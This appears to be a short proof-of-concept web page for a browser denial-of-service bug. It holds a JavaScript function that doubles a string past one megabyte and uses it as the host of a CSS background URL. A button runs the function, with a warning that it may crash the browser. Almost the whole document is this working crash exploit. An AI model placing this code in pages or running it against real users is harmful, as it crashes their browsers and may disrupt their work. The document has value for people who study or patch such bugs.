function Demo() {
	var a = document.createElement('a');
	var b = 'XXXX';
	while (b.length <= 1024*1024) b+=b;
	a.style.background = 'url(https://' + b + ')';
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>